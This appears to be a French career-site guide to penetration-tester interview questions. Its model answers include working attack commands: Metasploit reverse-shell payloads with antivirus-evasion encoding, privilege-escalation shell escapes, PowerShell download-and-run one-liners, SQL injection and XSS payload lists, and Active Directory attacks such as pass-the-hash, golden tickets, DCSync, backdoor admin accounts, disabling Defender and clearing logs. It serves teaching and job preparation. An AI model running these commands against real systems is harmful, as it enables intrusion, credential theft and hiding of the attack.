Questions d'entretien pour testeur de pénétration : Guide complet

Introduction

Les testeurs d'intrusion (hackers éthiques) identifient les vulnérabilités de sécurité en simulant des attaques réelles. Ce rôle exige une connaissance approfondie des techniques de piratage, des outils de sécurité et des méthodologies pour aider les organisations à renforcer leurs défenses.

Ce guide couvre les questions d'entretien essentielles pour les testeurs d'intrusion, en se concentrant sur le piratage éthique, l'évaluation des vulnérabilités et les outils de test de sécurité.

Fondamentaux des tests d'intrusion

1. Quelles sont les phases d'un test d'intrusion ?

Réponse : Méthodologie structurée des tests d'intrusion :

1. Planification et reconnaissance :

Définir la portée et les objectifs
Collecter des renseignements (passifs/actifs)

2. Scan :

Identifier les hôtes actifs, les ports ouverts, les services
Scan de vulnérabilités

3. Obtention d'un accès :

Exploiter les vulnérabilités
Obtenir un point d'appui initial

4. Maintien de l'accès :

Installer des portes dérobées
Élévation de privilèges

5. Analyse et rapport :

Documenter les résultats
Fournir des recommandations de correction

Loading diagram...

Exemple de reconnaissance :

# Reconnaissance passive
whois target.com
nslookup target.com
dig target.com ANY

# Reconnaissance active
nmap -sn 192.168.1.0/24  # Découverte des hôtes
nmap -sV -sC target.com  # Détection des services/versions

Fréquence : Très courant Difficulté : Moyenne

Évaluation des vulnérabilités

2. Comment hiérarchisez-vous les vulnérabilités ?

Réponse : Hiérarchisation basée sur les risques utilisant CVSS et le contexte commercial :

Score CVSS :

Critique (9.0-10.0) : Exécution de code à distance, contournement de l'authentification
Élevée (7.0-8.9) : Injection SQL, XSS avec accès aux données
Moyenne (4.0-6.9) : Divulgation d'informations, CSRF
Faible (0.1-3.9) : Fuite d'informations mineure

Facteurs de hiérarchisation :

def calculate_risk_score(vulnerability):
    """Calculer le score de risque pour une vulnérabilité"""
    # Score CVSS de base
    cvss_score = vulnerability.cvss_score
    
    # Exploitabilité
    if vulnerability.exploit_available:
        exploitability = 1.5
    elif vulnerability.poc_available:
        exploitability = 1.2
    else:
        exploitability = 1.0
    
    # Criticité de l'actif
    asset_value = {
        'critical': 3.0,  # Base de données de production
        'high': 2.0,      # Application web
        'medium': 1.5,    # Outil interne
        'low': 1.0        # Environnement de test
    }[vulnerability.asset_criticality]
    
    # Sensibilité des données
    data_sensitivity = {
        'pii': 2.0,       # Données personnelles
        'financial': 2.5, # Informations de paiement
        'confidential': 1.5,
        'public': 1.0
    }[vulnerability.data_type]
    
    risk_score = cvss_score * exploitability * asset_value * data_sensitivity
    return min(risk_score, 10.0)  # Plafonner à 10

Fréquence : Très courant Difficulté : Moyenne

Metasploit

3. Comment utilisez-vous Metasploit pour exploiter une vulnérabilité ?

Réponse : Flux de travail du framework Metasploit :

Exploitation de base :

# Démarrer Metasploit
msfconsole

# Rechercher un exploit
search ms17-010  # EternalBlue

# Utiliser l'exploit
use exploit/windows/smb/ms17_010_eternalblue

# Afficher les options
show options

# Définir la cible
set RHOSTS 192.168.1.100

# Définir la charge utile
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# Vérifier si la cible est vulnérable
check

# Exécuter l'exploit
exploit

Commandes Meterpreter :

# Informations système
sysinfo
getuid

# Élévation de privilèges
getsystem

# Vider les informations d'identification
hashdump
load kiwi
cred_all

# Persistance
run persistence -X -i 60 -p 4444 -r 192.168.1.50

# Pivotement
run autoroute -s 10.0.0.0/24
portfwd add -l 3389 -p 3389 -r 10.0.0.10

Génération de charge utile :

# Générer un shell inversé
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o payload.exe

# Encoder pour échapper à l'AV
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_payload.exe

Fréquence : Très courant Difficulté : Moyenne-Difficile

4. Comment effectuez-vous une élévation de privilèges ?

Réponse : L'élévation de privilèges exploite les erreurs de configuration pour obtenir des niveaux d'accès plus élevés.

Élévation de privilèges Linux :

1. Énumération :

# Informations système
uname -a
cat /etc/issue
cat /etc/*-release

# Utilisateur actuel et privilèges
id
sudo -l

# Utilisateurs et groupes
cat /etc/passwd
cat /etc/group

# Binaires SUID
find / -perm -4000 -type f 2>/dev/null

# Répertoires accessibles en écriture
find / -writable -type d 2>/dev/null

# Tâches Cron
crontab -l
cat /etc/crontab
ls -la /etc/cron*

# Connexions réseau
netstat -antup
ss -tulpn

2. Techniques courantes :

Exploitation SUID :

# Trouver les binaires SUID
find / -perm -u=s -type f 2>/dev/null

# Exemple : Exploitation de find
find /home -exec /bin/sh \; -quit

# Exemple : Exploitation de vim
vim -c ':!/bin/sh'

# Exemple : Exploitation de nmap (anciennes versions)
nmap --interactive
nmap> !sh

Erreur de configuration Sudo :

# Vérifier les permissions sudo
sudo -l

# Exemple de sortie :
# (ALL) NOPASSWD: /usr/bin/vim

# Exploiter vim
sudo vim -c ':!/bin/sh'

# Exemple : LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so find

Exploits du noyau :

# Vérifier la version du noyau
uname -r

# Rechercher des exploits
searchsploit linux kernel 4.4.0

# Exemple : Dirty COW
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password

3. Outils automatisés :

# LinPEAS (Linux Privilege Escalation Awesome Script)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Élévation de privilèges Windows :

1. Énumération :

# Informations système
systeminfo
hostname
whoami /all

# Utilisateurs et groupes
net user
net localgroup administrators

# Processus en cours d'exécution
tasklist /v
wmic process list full

# Services
sc query
wmic service list brief

# Tâches planifiées
schtasks /query /fo LIST /v

# Connexions réseau
netstat -ano

# Logiciels installés
wmic product get name,version

2. Techniques courantes :

Chemins de service non entre guillemets :

# Trouver les chemins de service non entre guillemets
wmic service get name,pathname,displayname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Exploiter
C:\Program Files\Vulnerable App\service.exe
# Créer un exécutable malveillant à :
C:\Program.exe

AlwaysInstallElevated :

# Vérifier le registre
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si les deux sont à 1, créer un MSI malveillant
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi

Usurpation de jetons :

# Meterpreter
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

3. Outils automatisés :

# WinPEAS
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')
Invoke-WinPEAS

# PowerUp
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

# Sherlock (Exploits du noyau)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
Find-AllVulns

Fréquence : Très courant Difficulté : Difficile

Burp Suite

5. Comment trouvez-vous une injection SQL en utilisant Burp Suite ?

Réponse : Test systématique d'injection SQL :

1. Intercepter la requête :

POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

2. Envoyer au Repeater : Tester les charges utiles manuelles :

username=admin' OR '1'='1&password=test
username=admin' AND 1=1--&password=test
username=admin' UNION SELECT NULL--&password=test

3. Utiliser Intruder :

Type d'attaque : Sniper
Position de la charge utile : username=§admin§
Liste des charges utiles :
  ' OR '1'='1
  ' OR 1=1--
  ' UNION SELECT NULL--
  ' UNION SELECT NULL,NULL--
  admin'--
  ' OR 'a'='a

4. Analyser les réponses :

Différentes longueurs de réponse
Messages d'erreur
Délais (SQLi aveugle)

Test avancé :

# Détection d'injection SQL aveugle
import requests
import time

def test_blind_sqli(url, param):
    # Détection basée sur le temps
    payloads = [
        "' AND SLEEP(5)--",
        "' OR SLEEP(5)--",
        "'; WAITFOR DELAY '00:00:05'--"
    ]
    
    for payload in payloads:
        start = time.time()
        response = requests.post(url, data={param: payload})
        elapsed = time.time() - start
        
        if elapsed > 5:
            print(f"[+] SQLi aveugle trouvé avec la charge utile : {payload}")
            return True
    
    return False

Fréquence : Très courant Difficulté : Moyenne

Test d'application web

6. Comment testez-vous les vulnérabilités XSS ?

Réponse : Approche complète des tests XSS :

Types de XSS :

Réfléchi : Charge utile dans l'URL/formulaire, reflétée immédiatement
Stocké : Charge utile stockée dans la base de données
Basé sur le DOM : Vulnérabilité JavaScript côté client

Méthodologie de test :

1. Identifier les points d'injection :

# Paramètres d'URL
http://target.com/search?q=<script>alert(1)</script>

# Entrées de formulaire
<input name="comment" value="<script>alert(1)</script>">

# En-têtes HTTP
User-Agent: <script>alert(1)</script>

2. Contourner les filtres :

// Charges utiles de base
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Contourner les filtres
<scr<script>ipt>alert(1)</script>
<img src=x onerror="alert(1)">
<IMG SRC=x ONERROR=alert(1)>  // Variation de casse

// Gestionnaires d'événements
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

// Charges utiles encodées
&#60;script&#62;alert(1)&#60;/script&#62;
\u003cscript\u003ealert(1)\u003c/script\u003e

3. Test XSS avec Burp Suite :

Liste des charges utiles Intruder :
  <script>alert(document.domain)</script>
  <img src=x onerror=alert(1)>
  <svg/onload=alert(1)>
  javascript:alert(1)
  <iframe src="javascript:alert(1)">

4. Scan automatisé :

# XSStrike
python xsstrike.py -u "http://target.com/search?q=test"

# Dalfox
dalfox url http://target.com/search?q=FUZZ

Fréquence : Très courant Difficulté : Moyenne

7. Comment testez-vous la sécurité des API ?

Réponse : Le test de sécurité des API se concentre sur l'authentification, l'autorisation et la validation des entrées.

Vulnérabilités API courantes :

1. Authentification cassée :

# Tester un JWT faible
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0..." https://api.example.com/user

# JWT avec "alg": "none"
# Modifier la charge utile et supprimer la signature

2. Autorisation cassée :

# IDOR (Insecure Direct Object Reference)
curl https://api.example.com/user/123
curl https://api.example.com/user/124  # Essayer d'autres ID d'utilisateur

# Tester différentes méthodes HTTP
curl -X DELETE https://api.example.com/user/123
curl -X PUT https://api.example.com/user/123 -d '{"role":"admin"}'

3. Affectation de masse :

# Essayer d'ajouter des champs d'administrateur
curl -X POST https://api.example.com/register \
  -H "Content-Type: application/json" \
  -d '{
    "username": "attacker",
    "password": "pass123",
    "role": "admin",
    "is_admin": true
  }'

Test d'API REST :

# Test API automatisé
import requests
import json

class APISecurityTester:
    def __init__(self, base_url, token=None):
        self.base_url = base_url
        self.headers = {}
        if token:
            self.headers['Authorization'] = f'Bearer {token}'
    
    def test_idor(self, endpoint, id_range):
        """Tester les vulnérabilités IDOR"""
        accessible_ids = []
        
        for user_id in range(id_range[0], id_range[1]):
            url = f"{self.base_url}/{endpoint}/{user_id}"
            response = requests.get(url, headers=self.headers)
            
            if response.status_code == 200:
                accessible_ids.append(user_id)
                print(f"[+] Accessible: {user_id}")
        
        return accessible_ids
    
    def test_rate_limiting(self, endpoint):
        """Tester la limitation de débit"""
        for i in range(1000):
            response = requests.get(
                f"{self.base_url}/{endpoint}",
                headers=self.headers
            )
            
            if response.status_code == 429:
                print(f"[+] Limitation de débit appliquée après {i} requêtes")
                return True
        
        print("[-] Aucune limitation de débit détectée")
        return False
    
    def test_injection(self, endpoint, payloads):
        """Tester les vulnérabilités d'injection"""
        for payload in payloads:
            data = {"search": payload}
            response = requests.post(
                f"{self.base_url}/{endpoint}",
                headers=self.headers,
                json=data
            )
            
            # Vérifier les erreurs SQL
            if any(err in response.text.lower() for err in 
                   ['sql', 'mysql', 'sqlite', 'postgresql', 'oracle']):
                print(f"[!] Injection SQL potentielle : {payload}")
                print(f"Réponse : {response.text[:200]}")
    
    def test_authentication_bypass(self, login_endpoint):
        """Tester le contournement de l'authentification"""
        bypass_payloads = [
            {"username": "admin' OR '1'='1", "password": "anything"},
            {"username": "admin", "password": "' OR '1'='1"},
            {"username": "admin'--", "password": ""},
        ]
        
        for payload in bypass_payloads:
            response = requests.post(
                f"{self.base_url}/{login_endpoint}",
                json=payload
            )
            
            if response.status_code == 200:
                print(f"[!] Contournement d'authentification potentiel : {payload}")

# Utilisation
tester = APISecurityTester('https://api.example.com')
tester.test_idor('users', (1, 100))
tester.test_rate_limiting('api/search')

Test GraphQL :

# Requête d'introspection
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types {
      name
      fields {
        name
        args {
          name
          type { name }
        }
      }
    }
  }
}

# Injection GraphQL
query = '''
query {
  user(id: "1' OR '1'='1") {
    id
    username
    email
  }
}
'''

# Attaque par lots GraphQL
queries = [
    {"query": "query { user(id: 1) { id username } }"},
    {"query": "query { user(id: 2) { id username } }"},
    # ... répéter 1000 fois
]

response = requests.post(
    'https://api.example.com/graphql',
    json=queries
)

Fuzzing d'API :

# Utilisation de ffuf pour le fuzzing d'API
ffuf -w wordlist.txt -u https://api.example.com/FUZZ -mc 200,301,302

# Fuzzing de paramètres
ffuf -w params.txt -u https://api.example.com/api?FUZZ=test -mc 200

# Fuzzing de méthodes
for method in GET POST PUT DELETE PATCH OPTIONS; do
    curl -X $method https://api.example.com/api/resource
done

Postman/Burp Suite :

// Script de pré-requête Postman
const payload = "' OR '1'='1";
pm.environment.set("injection_payload", payload);

// Script de test Postman
pm.test("Vérifier l'erreur SQL", function () {
    pm.expect(pm.response.text()).to.not.include("SQL");
    pm.expect(pm.response.text()).to.not.include("mysql");
});

Top 10 des vulnérabilités de sécurité API OWASP :

Autorisation cassée au niveau de l'objet - Tester IDOR
Authentification cassée - Tester les jetons faibles
Exposition excessive des données - Vérifier les données de réponse
Manque de ressources et limitation de débit - Tester DoS
Autorisation cassée au niveau de la fonction - Tester l'élévation de privilèges
Affectation de masse - Tester la pollution des paramètres
Mauvaise configuration de sécurité - Vérifier les en-têtes, CORS
Injection - Tester SQLi, NoSQLi, injection de commandes
Gestion incorrecte des actifs - Trouver les anciennes versions de l'API
Journalisation et surveillance insuffisantes - Vérifier les journaux d'audit

Fréquence : Courant Difficulté : Moyenne-Difficile

Test d'intrusion réseau

8. Comment effectuez-vous un test d'intrusion réseau ?

Réponse : Évaluation réseau structurée :

1. Découverte du réseau :

# Ping sweep
nmap -sn 192.168.1.0/24

# Scan ARP (réseau local)
arp-scan -l

# Identifier les hôtes actifs
netdiscover -r 192.168.1.0/24

2. Scan de ports :

# Scan TCP SYN (furtif)
nmap -sS 192.168.1.100

# Détection de la version du service
nmap -sV 192.168.1.100

# Détection du système d'exploitation
nmap -O 192.168.1.100

# Scan agressif
nmap -A -T4 192.168.1.100

# Tous les ports
nmap -p- 192.168.1.100

3. Scan de vulnérabilités :

# Scripts NSE Nmap
nmap --script vuln 192.168.1.100

# Vulnérabilité spécifique
nmap --script smb-vuln-ms17-010 192.168.1.100

# OpenVAS/Nessus pour un scan complet

4. Exploitation :

# Exploitation SMB
use exploit/windows/smb/ms17_010_eternalblue

# Force brute SSH
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

5. Post-Exploitation :

# Mouvement latéral
# Vidage des informations d'identification
# Élévation de privilèges
# Persistance

Fréquence : Très courant Difficulté : Difficile

9. Comment attaquez-vous les environnements Active Directory ?

Réponse : Active Directory est une cible de choix avec de nombreux vecteurs d'attaque.

Énumération :

# Énumération PowerView
Import-Module PowerView.ps1

# Obtenir les informations du domaine
Get-Domain
Get-DomainController

# Énumérer les utilisateurs
Get-DomainUser
Get-DomainUser -Identity administrator

# Énumérer les groupes
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"

# Trouver les partages
Find-DomainShare -CheckShareAccess

# Trouver les ordinateurs
Get-DomainComputer

BloodHound :

# Collecter des données avec SharpHound
.\SharpHound.exe -c All

# Ou avec PowerShell
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All

# Télécharger JSON vers l'interface graphique BloodHound
# Analyser les chemins d'attaque vers les administrateurs de domaine

Kerberoasting :

# Demander des tickets de service
Import-Module Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

# Ou avec Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Cracker avec hashcat
hashcat -m 13100 hashes.txt wordlist.txt

AS-REP Roasting :

# Trouver les utilisateurs avec "Ne pas exiger la pré-authentification Kerberos"
Get-DomainUser -PreauthNotRequired

# Demander AS-REP
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Cracker
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Pass-the-Hash :

# Utilisation d'Impacket
python3 psexec.py -hashes :ntlmhash [email protected]

# Utilisation de CrackMapExec
crackmapexec smb 10.10.10.0/24 -u administrator -H ntlmhash

# Vider SAM
python3 secretsdump.py -hashes :ntlmhash [email protected]

Pass-the-Ticket :

# Exporter les tickets avec Mimikatz
mimikatz # sekurlsa::tickets /export

# Injecter le ticket
mimikatz # kerberos::ptt ticket.kirbi

# Ou avec Rubeus
.\Rubeus.exe ptt /ticket:ticket.kirbi

Golden Ticket :

# Obtenir le hachage krbtgt
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# Créer un ticket d'or
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /krbtgt:hash /id:500

# Injecter le ticket
mimikatz # kerberos::ptt ticket.kirbi

Silver Ticket :

# Obtenir le hachage du compte de service
mimikatz # sekurlsa::logonpasswords

# Créer un ticket d'argent pour un service spécifique
mimikatz # kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:server.example.com /service:cifs /rc4:hash

Attaque DCSync :

# Mimikatz
mimikatz # lsadump::dcsync /domain:example.com /user:Administrator

# Impacket
python3 secretsdump.py example.com/user:[email protected]

Mouvement latéral :

# PSExec
.\PsExec.exe \\target -u domain\user -p password cmd

# WMI
wmic /node:target /user:domain\user /password:password process call create "cmd.exe"

# PowerShell Remoting
Enter-PSSession -ComputerName target -Credential domain\user

# RDP
xfreerdp /u:domain\user /p:password /v:target

Persistance :

# Créer un administrateur de domaine
net user backdoor Password123! /add /domain
net group "Domain Admins" backdoor /add /domain

# Ticket d'or (à long terme)
# Ticket d'argent (service spécifique)

# Clé squelette (Mimikatz)
mimikatz # misc::skeleton
# Maintenant, tout utilisateur peut s'authentifier avec le mot de passe "mimikatz"

Évasion de la défense :

# Désactiver Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Effacer les journaux d'événements
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# Obfusquer PowerShell
Invoke-Obfuscation

Fréquence : Courant Difficulté : Difficile

Rapport

10. Que doit inclure un rapport de test d'intrusion ?

Réponse : Structure de rapport complète :

Résumé exécutif :

Conclusions de haut niveau
Impact commercial
Aperçu des risques
Recommandations

Détails techniques :

## Conclusion : Injection SQL dans le formulaire de connexion

**Gravité :** Critique (CVSS 9.8)

**Description :**
Le formulaire de connexion à /admin/login est vulnérable à l'injection SQL,
permettant aux attaquants de contourner l'authentification et d'accéder au panneau d'administration.

**Actif affecté :**
- URL : https://target.com/admin/login
- Paramètre : username
- Méthode : POST

**Preuve de concept :**
```http
POST /admin/login HTTP/1.1
Host: target.com

username=admin' OR '1'='1'--&password=anything

Impact :

Accès non autorisé au panneau d'administration
Accès aux données sensibles des clients
Compromission potentielle de la base de données

Correction :

Utiliser des requêtes paramétrées
Mettre en œuvre la validation des entrées
Appliquer le principe du moindre privilège à l'utilisateur de la base de données

Fréquence : Très courant Difficulté : Moyenne

Conclusion

Les entretiens avec les testeurs d'intrusion nécessitent une expérience pratique et des connaissances techniques approfondies. Concentrez-vous sur :

Méthodologie : Approche de test structurée, documentation
Évaluation des vulnérabilités : Hiérarchisation des risques, score CVSS
Outils : Metasploit, Burp Suite, Nmap, scripts personnalisés
Élévation de privilèges : Techniques Linux et Windows, outils d'automatisation
Test web : Injection SQL, XSS, contournement de l'authentification
Test API : Sécurité REST/GraphQL, failles d'autorisation
Test réseau : Scan, exploitation, mouvement latéral
Active Directory : Kerberoasting, Pass-the-Hash, BloodHound
Rapport : Documentation claire, impact commercial, correction

Entraînez-vous dans des environnements légaux (HackTheBox, TryHackMe), obtenez des certifications (OSCP, CEH) et restez informé des dernières vulnérabilités. Bonne chance !

Table des matières

Questions d'entretien pour testeur de pénétration : Guide complet

Introduction

Fondamentaux des tests d'intrusion

1. Quelles sont les phases d'un test d'intrusion ?

Évaluation des vulnérabilités

2. Comment hiérarchisez-vous les vulnérabilités ?

Metasploit

3. Comment utilisez-vous Metasploit pour exploiter une vulnérabilité ?

4. Comment effectuez-vous une élévation de privilèges ?

Burp Suite

5. Comment trouvez-vous une injection SQL en utilisant Burp Suite ?

Test d'application web

6. Comment testez-vous les vulnérabilités XSS ?

7. Comment testez-vous la sécurité des API ?

Test d'intrusion réseau

8. Comment effectuez-vous un test d'intrusion réseau ?

9. Comment attaquez-vous les environnements Active Directory ?

Rapport

10. Que doit inclure un rapport de test d'intrusion ?

Conclusion

Démarquez-vous auprès des Recruteurs et Décrochez Votre Emploi de Rêve

Partager cet article

Conseils de carrière hebdomadaires qui fonctionnent vraiment

Conseils de carrière hebdomadaires qui fonctionnent vraiment

Articles Connexes

Questions d'entretien pour Analyste de Données Senior : Guide Complet

Questions d'entretien pour Architecte Cloud : Guide complet

Questions d'entretien pour Data Scientist Senior : Guide complet

Démarquez-vous auprès des Recruteurs et Décrochez Votre Emploi de Rêve

Partager cet article

Doublez Vos Rappels d'Entretien